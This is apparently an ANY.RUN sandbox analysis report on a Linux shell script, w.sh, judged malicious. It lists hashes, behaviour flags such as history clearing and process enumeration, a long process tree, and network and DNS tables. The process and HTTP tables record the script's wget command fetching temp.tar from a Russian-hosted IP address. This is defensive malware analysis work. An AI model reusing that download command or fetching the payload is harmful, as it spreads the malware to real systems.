File name:

w.sh

Full analysis: https://app.any.run/tasks/d063a514-3245-4667-aa59-5457c238f213
Verdict: Malicious activity
Analysis date: January 08, 2025, 17:16:56
OS: Ubuntu 22.04.2 LTS
Tags:
opendir
Indicators:
MIME: text/plain
File info: ASCII text
MD5:

B13EF76E87963304C7A8AF2D0EE5285C

SHA1:

5CE01BA73EB895F541931A491E466B41BDB24C4C

SHA256:

C1F6F312624CB597D0101545CF5CF6874D83BB36CE89870335371A3990DFBF05

SSDEEP:

3:GRFjLXbFGlRdLiVaH3FDzDLXbFGlRdLiVaiXsUIVeVaWd8oFaG1OdmMWRE1nsF/l:Sjf2nH31Df2n0szJA8PsFd

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    No malicious indicators.

  • SUSPICIOUS

    • Executes commands using command-line interpreter

      • sudo (PID: 38750)
      • bash (PID: 38751)
      • bash (PID: 38815)

    • Modifies file or directory owner

      • sudo (PID: 38747)

    • Clears command history

      • bash (PID: 38815)

    • Uses wget to download content

      • bash (PID: 38751)

    • Gets information about currently running processes

      • bash (PID: 38820)
      • bash (PID: 38817)
      • bash (PID: 38818)
      • bash (PID: 38819)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
518
Monitored processes
310
Malicious processes
0
Suspicious processes
2

Behavior graph

Click at the process to see the details
start dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs wget systemctl no specs systemctl no specs systemctl no specs snap no specs snap-seccomp no specs snap-confine no specs dumpe2fs no specs dumpe2fs no specs snap-update-ns no specs tracker-extract-3 no specs tracker-extract-3 no specs tar no specs chmod no specs bash no specs chattr no specs bash no specs bash no specs bash no specs bash no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs sobolan no specs pgrep no specs id no specs bash no specs sleep no specs sleep no specs pgrep no specs pgrep no specs bash no specs sleep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs mkdir no specs sleep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs pgrep no specs

Process information

PID
CMD
Path
Indicators
Parent process
38746/bin/sh -c "sudo chown user /tmp/w\.sh && chmod +x /tmp/w\.sh && DISPLAY=:0 sudo -iu user /tmp/w\.sh "/usr/bin/dash—any-guest-agent
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38747sudo chown user /tmp/w.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38748chown user /tmp/w.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38749chmod +x /tmp/w.sh/usr/bin/chmod—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38750sudo -iu user /tmp/w.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38751-bash --login -c \/tmp\/w\.sh/usr/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38752/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38753wget http://77.221.157.206/zhoung/temp.tar/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38755systemctl --user --global is-enabled snap.snapd-desktop-integration.snapd-desktop-integration.service/usr/bin/systemctl—snapd
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38757systemctl --user --global is-enabled snap.snapd-desktop-integration.snapd-desktop-integration.service/usr/bin/systemctl—snapd
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0

Dropped files

No data
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
13
DNS requests
12
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
91.189.91.97:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
38753
wget
GET
—
77.221.157.206:80
http://77.221.157.206/zhoung/temp.tar
unknown
—
—
unknown
—
—
GET
—
77.221.157.206:80
http://77.221.157.206/zhoung/temp.tar
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
91.189.91.97:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
1178
snap-store
195.181.175.41:443
odrs.gnome.org
Datacamp Limited
DE
whitelisted
512
snapd
185.125.188.55:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.59:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
38753
wget
77.221.157.206:80
—
OOO National Telecommunications
RU
unknown
512
snapd
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
unknown
512
snapd
185.125.188.54:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
—
—
77.221.157.206:80
—
OOO National Telecommunications
RU
unknown
—
—
141.94.115.174:5432
—
OVH SAS
FR
unknown

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.185.110
  • 2a00:1450:4001:812::200e
whitelisted
connectivity-check.ubuntu.com
  • 91.189.91.97
  • 185.125.190.17
  • 185.125.190.97
  • 185.125.190.48
  • 185.125.190.18
  • 91.189.91.98
  • 185.125.190.49
  • 91.189.91.49
  • 91.189.91.96
  • 185.125.190.96
  • 91.189.91.48
  • 185.125.190.98
  • 2620:2d:4000:1::22
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::98
  • 2001:67c:1562::24
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::96
  • 2620:2d:4000:1::2a
  • 2620:2d:4000:1::23
  • 2620:2d:4002:1::197
  • 2620:2d:4000:1::2b
  • 2620:2d:4000:1::97
  • 2001:67c:1562::23
whitelisted
odrs.gnome.org
  • 195.181.175.41
  • 207.211.211.27
  • 37.19.194.81
  • 169.150.255.184
  • 212.102.56.179
  • 195.181.170.18
  • 169.150.255.181
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::101
whitelisted
api.snapcraft.io
  • 185.125.188.55
  • 185.125.188.59
  • 185.125.188.58
  • 185.125.188.54
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::2e6
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::6d
whitelisted
16.100.168.192.in-addr.arpa
  • —
unknown

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
No debug info